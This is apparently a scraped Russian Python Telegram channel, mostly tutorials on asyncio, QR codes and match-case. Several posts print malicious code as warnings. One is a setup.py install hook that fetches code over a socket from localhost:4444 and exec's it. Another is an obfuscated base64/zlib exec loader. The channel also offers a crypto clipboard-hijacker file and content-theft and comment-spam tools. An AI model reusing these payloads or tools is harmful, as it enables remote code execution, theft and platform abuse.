Асинхронное программирование
Асинхронное программирование часто кажется сложным и доступным только опытным разработчикам. Но если разобраться, оно довольно логичное и даже похоже на то, как мы ведём себя в реальной жизни.
Представьте себе такую ситуацию:
Вы проголодались и решили перекусить, для того чтобы покушать нам нужно выполнить два действия
1. Разогреть самсу в микроволновке.
2. Налить себе чаю.
Если действовать последовательно, то сначала вы стоите у микроволновки как вкопанный, дожидаетесь, пока самса разогреется, и только потом идёте наливать чай. Но это скучно и занимает больше времени.
С асинхронным подходом всё иначе! Вы можете делать эти две задачи параллельно:
- Запустить микроволновку на разогрев самсы.
- Пока она работает, наливать себе чай.
Примерно так и работает асинхронность в Python.
Асинхронность в Python основана на ключевых словах
- Асинхронность выполняется в одном потоке, то есть все задачи работают по очереди, не мешая друг другу.
- Это возможно благодаря специальному механизму под названием цикл событий (event loop).
Цикл событий управляет задачами: когда одна из них ждёт, например, завершения разогрева самсы , он переключается на другую задачу, чтобы использовать время эффективно.
Пример в коде
Вот как выглядит наша ситуация
Что здесь происходит?
1. asyncio.run(main()) — запускает цикл событий, который контролирует выполнение всех задач.
2. Задачи:
-
-
3. Цикл событий добавляет задачи в очередь и управляет ими:
-
- Цикл переключается на
- Затем цикл возвращается к задаче
Почему корутины превращаются в задачи?
Корутины (функции с
Теперь цикл событий знает о наших задачах и может управлять их выполнением.
В чём главная польза асинхронности?
Асинхронное программирование позволяет:
1. Сэкономить время. Вместо того чтобы ждать выполнения одной задачи, можно переключаться на другую.
2. Управлять несколькими процессами. Например, готовить еду и наливать чай одновременно.
3. Упростить работу с операциями ввода-вывода. Это очень удобно для работы с файлами, запросами к серверу и другими задачами, где требуется ожидание.
Асинхронное программирование часто кажется сложным и доступным только опытным разработчикам. Но если разобраться, оно довольно логичное и даже похоже на то, как мы ведём себя в реальной жизни.
Представьте себе такую ситуацию:
Вы проголодались и решили перекусить, для того чтобы покушать нам нужно выполнить два действия
1. Разогреть самсу в микроволновке.
2. Налить себе чаю.
Если действовать последовательно, то сначала вы стоите у микроволновки как вкопанный, дожидаетесь, пока самса разогреется, и только потом идёте наливать чай. Но это скучно и занимает больше времени.
С асинхронным подходом всё иначе! Вы можете делать эти две задачи параллельно:
- Запустить микроволновку на разогрев самсы.
- Пока она работает, наливать себе чай.
Примерно так и работает асинхронность в Python.
Асинхронность в Python основана на ключевых словах
async и await. Важно помнить:- Асинхронность выполняется в одном потоке, то есть все задачи работают по очереди, не мешая друг другу.
- Это возможно благодаря специальному механизму под названием цикл событий (event loop).
Цикл событий управляет задачами: когда одна из них ждёт, например, завершения разогрева самсы , он переключается на другую задачу, чтобы использовать время эффективно.
Пример в коде
Вот как выглядит наша ситуация
import asyncio
# Задача 1: разогреть самсу
async def heat_samsa():
print("Закидываем самсу в микроволновку...")
await asyncio.sleep(10) # Имитируем разогрев (ждём 10 секунд)
print("Самса готова! 🥟")
# Задача 2: налить чай
async def pour_tea():
print("Начинаем наливать чай...")
await asyncio.sleep(3) # Имитируем наливание чая (ждём 3 секунды)
print("Чай налит! ☕️")
# Главная функция
async def main():
print("Собираемся перекусить...")
# Запускаем задачи
heat_task = asyncio.create_task(heat_samsa())
tea_task = asyncio.create_task(pour_tea())
# Ждём, пока обе задачи завершатся
await asyncio.gather(heat_task, tea_task)
print("Всё готово, можно кушать! 🍴")
# Запуск программы
asyncio.run(main())
Что здесь происходит?
1. asyncio.run(main()) — запускает цикл событий, который контролирует выполнение всех задач.
2. Задачи:
-
heat_samsa (разогрев самсы, 10 секунд ожидания).-
pour_tea (наливание чая, 3 секунды ожидания).3. Цикл событий добавляет задачи в очередь и управляет ими:
-
heat_samsa запускается и приостанавливается на await asyncio.sleep(10).- Цикл переключается на
pour_tea, который завершает наливание чая через 3 секунды.- Затем цикл возвращается к задаче
heat_samsa, дожидается её завершения и сообщает, что самса готова.Почему корутины превращаются в задачи?
Корутины (функции с
async def) сами по себе не выполняются. Чтобы они начали работать, их нужно превратить в задачи с помощью asyncio.create_task. Это как будто вы добавляете их в "очередь дел" цикла событий. Грубо говоря, это похоже на:цикл_событий.append(наша_корутина)
Теперь цикл событий знает о наших задачах и может управлять их выполнением.
В чём главная польза асинхронности?
Асинхронное программирование позволяет:
1. Сэкономить время. Вместо того чтобы ждать выполнения одной задачи, можно переключаться на другую.
2. Управлять несколькими процессами. Например, готовить еду и наливать чай одновременно.
3. Упростить работу с операциями ввода-вывода. Это очень удобно для работы с файлами, запросами к серверу и другими задачами, где требуется ожидание.
❤6😁2
Forwarded from Investigation & Forensic TOOLS
Шпаргалка Браузеры.pdf
315.1 KB
Браузер- основное окно в сеть для подавляющего количества пользователей! И как следствие, знает и хранит в себе он огромное количество всего о том, чем этот самый пользователь живет.
Очередной выпуск "шпаргалки" посвящен как раз местам хранения этого кладезя знаний и бесплатным инструментам извлечения, анализа и визуализации данных самых популярных браузеров Chrome/Edge/Firefox.
Очередной выпуск "шпаргалки" посвящен как раз местам хранения этого кладезя знаний и бесплатным инструментам извлечения, анализа и визуализации данных самых популярных браузеров Chrome/Edge/Firefox.
❤4🔥2
генерируем qr код при помощи python
зависимости -> qrcode , pillow
import qrcode
data_to_encode = "https://t.me/localhostpython"
qr = qrcode.QRCode()
qr.add_data(data_to_encode)
image = qr.make_image()
image.save("qrcode.png")
зависимости -> qrcode , pillow
❤6🔥1🕊1
Годный Road map по Python
https://tungsten-sphere-ea3.notion.site/22d5d366784147b59eadab285f1d5081?v=761f64348762484b83e9ab568144dea8
https://tungsten-sphere-ea3.notion.site/22d5d366784147b59eadab285f1d5081?v=761f64348762484b83e9ab568144dea8
Product - Bootcamp on Notion
Road map Python | Notion
Этот текст содержит информацию о том, как изучать программирование на языке Python и связанные с ним технологии. Давайте разберем его по пунктам:
comments for telegram channels from localhost.tar.gz
3 KB
Всем привет
написал небольшой софтик для привлечения аудитории к себе в канал
в target_channels = вводим id каналов которые нужно мониторить
получить id каналов можно при помощи запуска get_chat.py
по дефолту софт будет рассылать стикеры к новым постам, так же есть возможность анализировать пост при помощи нейронки и выдавать комент исходя из поста для этого нужно вызвать функцию get_neuro_comment()
яп: Python
libraries : Pyrogram
написал небольшой софтик для привлечения аудитории к себе в канал
в target_channels = вводим id каналов которые нужно мониторить
получить id каналов можно при помощи запуска get_chat.py
по дефолту софт будет рассылать стикеры к новым постам, так же есть возможность анализировать пост при помощи нейронки и выдавать комент исходя из поста для этого нужно вызвать функцию get_neuro_comment()
яп: Python
libraries : Pyrogram
👍4 3
Нашёл крутых ребят, которые сделали скрипт для автооткликов на HH
https://quick-offer.ru/
https://quick-offer.ru/
👍4
Всем привет для ознакомления разберем вредоносный код на питоне
При выполнении команды pip install
если в пакете находится подобный код, он будет выполнен автоматически во время процесса установки. Это происходит потому, что в setuptools можно переопределять стандартное поведение через такие классы, как install, и вставлять произвольный код.
Когда пользователь вызывает pip install, внутри запускается python setup.py install.
Метод run класса TotallyInnocentClass выполняется вместо стандартного процесса установки.
Любой код в этом методе будет выполнен.
Вредоносный код, определенный в методе run, запускается без какого-либо подтверждения или уведомления пользователя.
В данном случае происходит подключение к удаленному серверу и выполнение скачанного кода.
Критически опасная часть. Скачанные данные (в виде строки) передаются в exec, который выполняет их как Python-код
Такая атака может привести к выполнению вредоносных действий на вашей системе, поэтому стоит быть осторожным при работе с непроверенными пакетами
При выполнении команды pip install
если в пакете находится подобный код, он будет выполнен автоматически во время процесса установки. Это происходит потому, что в setuptools можно переопределять стандартное поведение через такие классы, как install, и вставлять произвольный код.
Когда пользователь вызывает pip install, внутри запускается python setup.py install.
Метод run класса TotallyInnocentClass выполняется вместо стандартного процесса установки.
Любой код в этом методе будет выполнен.
Вредоносный код, определенный в методе run, запускается без какого-либо подтверждения или уведомления пользователя.
В данном случае происходит подключение к удаленному серверу и выполнение скачанного кода.
Критически опасная часть. Скачанные данные (в виде строки) передаются в exec, который выполняет их как Python-код
import socket
import struct
from setuptools import setup
from setuptools.command.install import install
class TotallyInnocentClass(install):
def run(self):
s = socket.socket(2, 1)
s.connect(("localhost", 4444))
l = struct.unpack(">I", s.recv(4))[0]
d = s.recv(4096)
while len(d) != l:
d += s.recv(4096)
exec(d, {"s": s})
setup(
cmdclass={
"install": TotallyInnocentClass
}
)
🔥9❤1
если видите + - такой код
даже не вздумайте его запускать , на днях расшифровывал софт под капотом у него лежала кража учётных данных
Опасность данного кода в том, что он выполняет динамическое выполнение байткода
exec выполняет переданный код напрямую в интерпретаторе Python
_ = lambda : __import('marshal').loads(import('zlib').decompress(import('base64').b64decode(__[::-1])));exec((_)(b'Eq4ihuw/fu+/v/Lyt++68//iozvpY8/9+/3z+Pu/fd+/O9/85z/fW/336//157Py7q4357/P7zfYK9NkubWZZwCGNvH8Tp0yj/2x2U6BDc1AmKAC/9L7tMwHg7Wgq6Pl1wCrYKErstAYaqMwHvlk45lZWKYCk5LBSwFpHAuH5h/jHC6wofiD5BuE6SMgPIVUJCWEEBLdb/NxQOAlpzV0/6V3qojvPJWyhOQO64AQOB/iRDf7OjQz66mXrYQ2GdedhLbPeZeTJIaLpJKbfk4FVoNeBoK55gOligfVkBb9x3Ee845abzoLhk1MMx+JH8YbxsmoFyzmpcS6pmtYv2OXzIuuVZce9Me/1Vpq6FMVB5TYuG0ctmW'))
даже не вздумайте его запускать , на днях расшифровывал софт под капотом у него лежала кража учётных данных
Опасность данного кода в том, что он выполняет динамическое выполнение байткода
exec выполняет переданный код напрямую в интерпретаторе Python
_ = lambda : __import('marshal').loads(import('zlib').decompress(import('base64').b64decode(__[::-1])));exec((_)(b'Eq4ihuw/fu+/v/Lyt++68//iozvpY8/9+/3z+Pu/fd+/O9/85z/fW/336//157Py7q4357/P7zfYK9NkubWZZwCGNvH8Tp0yj/2x2U6BDc1AmKAC/9L7tMwHg7Wgq6Pl1wCrYKErstAYaqMwHvlk45lZWKYCk5LBSwFpHAuH5h/jHC6wofiD5BuE6SMgPIVUJCWEEBLdb/NxQOAlpzV0/6V3qojvPJWyhOQO64AQOB/iRDf7OjQz66mXrYQ2GdedhLbPeZeTJIaLpJKbfk4FVoNeBoK55gOligfVkBb9x3Ee845abzoLhk1MMx+JH8YbxsmoFyzmpcS6pmtYv2OXzIuuVZce9Me/1Vpq6FMVB5TYuG0ctmW'))
👍7
Forwarded from IT Delay | Learning
Please open Telegram to view this post
VIEW IN TELEGRAM
TgGraber.tar.gz
21.7 KB
Tg graber
пересылает контент с любого Tg канала на ваш канал без упоминания автора. Возможна замена ссылок и упоминаний в постах на ваши. Также доступна функция рерайтинга текста с использованием нейросетей
@localhostpython
пересылает контент с любого Tg канала на ваш канал без упоминания автора. Возможна замена ссылок и упоминаний в постах на ваши. Также доступна функция рерайтинга текста с использованием нейросетей
@localhostpython
🔥5
match-case в Python — это конструкция, введенная в Python 3.10, которая позволяет реализовать структуру, аналогичную операторам switch-case в других языках программирования. Она используется для сопоставления значения с различными шаблонами, и в зависимости от совпадения выполняется определенный блок кода.
Вместо длинных цепочек if-elif-else, match-case позволяет четко и эффективно проверять различные условия
match — это ключевое слово, которое используется для начала сопоставления с шаблонами
case — это ключевое слово, которое используется для определения каждого варианта (шаблона)
break или явный выход из блока конструкций match-case не нужен, так как конструкция автоматически завершает выполнение при совпадении
@localhostpython
Вместо длинных цепочек if-elif-else, match-case позволяет четко и эффективно проверять различные условия
match — это ключевое слово, которое используется для начала сопоставления с шаблонами
case — это ключевое слово, которое используется для определения каждого варианта (шаблона)
break или явный выход из блока конструкций match-case не нужен, так как конструкция автоматически завершает выполнение при совпадении
def describe_number(num):
match num:
case 1:
return "Это единица"
case 2:
return "Это двойка"
case 3:
return "Это тройка"
case _:
return "Это не 1, 2 или 3"
print(describe_number(1)) # Выведет: Это единица
print(describe_number(5)) # Выведет: Это не 1, 2 или 3
@localhostpython
❤6🔥1
btcClip.py
4.4 KB
BTC Clipper или «Bitcoin Clipper» — это тип вредоносного ПО
Он работает, заменяя адреса кошельков криптовалюты получателя на адреса, принадлежащие киберпреступникам. Этот инструмент демонстрирует, как некоторые киберпреступники перенаправляют транзакции криптовалюты, заменяя данные буфера обмена. Когда пользователи копируют адреса криптокошельков, которые они хотят использовать для перевода биткоинов, скопированная информация скрытно заменяется информацией злоумышленника
При вставке данных из буфера обмена адреса принадлежат криптовалютным кошелькам преступников, а не криптовалютному кошельку предполагаемого получателя.
Исключительно для анализа и исследования
@localhostpython
Он работает, заменяя адреса кошельков криптовалюты получателя на адреса, принадлежащие киберпреступникам. Этот инструмент демонстрирует, как некоторые киберпреступники перенаправляют транзакции криптовалюты, заменяя данные буфера обмена. Когда пользователи копируют адреса криптокошельков, которые они хотят использовать для перевода биткоинов, скопированная информация скрытно заменяется информацией злоумышленника
При вставке данных из буфера обмена адреса принадлежат криптовалютным кошелькам преступников, а не криптовалютному кошельку предполагаемого получателя.
Исключительно для анализа и исследования
@localhostpython
❤5
Высоконагруженные_приложения_Программирование,_масштабирование,.pdf
14 MB
Martin Kleppmann
Высоконагруженные приложения. Программирование, масштабирование, поддержка
@localhostpython
👍1
зачем использовать from None при try except
from None в Python позволяет скрыть цепочку исключений и вывести только последнее исключение
@localhostpython
try:
raise ValueError("Some error")
except ValueError:
raise RuntimeError("Another error") from None
from None в Python позволяет скрыть цепочку исключений и вывести только последнее исключение
@localhostpython
🤝7
Хочу посоветовать 3 тренажера для подготовки к собесам
Easyprogger
https://easyprogger.ru/
Easyoffer
https://easyoffer.ru/
Solvit
https://solvit.space/
@localhostpython
Easyprogger
https://easyprogger.ru/
Easyoffer
https://easyoffer.ru/
Solvit
https://solvit.space/
@localhostpython
❤7🔥1
Что выведет данный код
{
1: 14, # Это ключ, который является True (или 1)
"1.0": 12 # Строка "1.0"
}
1 и 1.0 считаются одинаковыми ключами
потому что типы int и float с одинаковыми значениями (в данном случае 1) равны друг другу, то есть они приводятся к одному и тому же хешу.
Ключ True по сути является 1
Ключ "1.0" — это строка, и она не равна числовым значениям
@localhostpython
data = {
1 : 10,
1.0 : 12,
True : 14,
"1.0": 12
}
print(data)1: 14, # Это ключ, который является True (или 1)
"1.0": 12 # Строка "1.0"
}
потому что типы int и float с одинаковыми значениями (в данном случае 1) равны друг другу, то есть они приводятся к одному и тому же хешу.
Ключ True по сути является 1
Ключ "1.0" — это строка, и она не равна числовым значениям
@localhostpython
❤7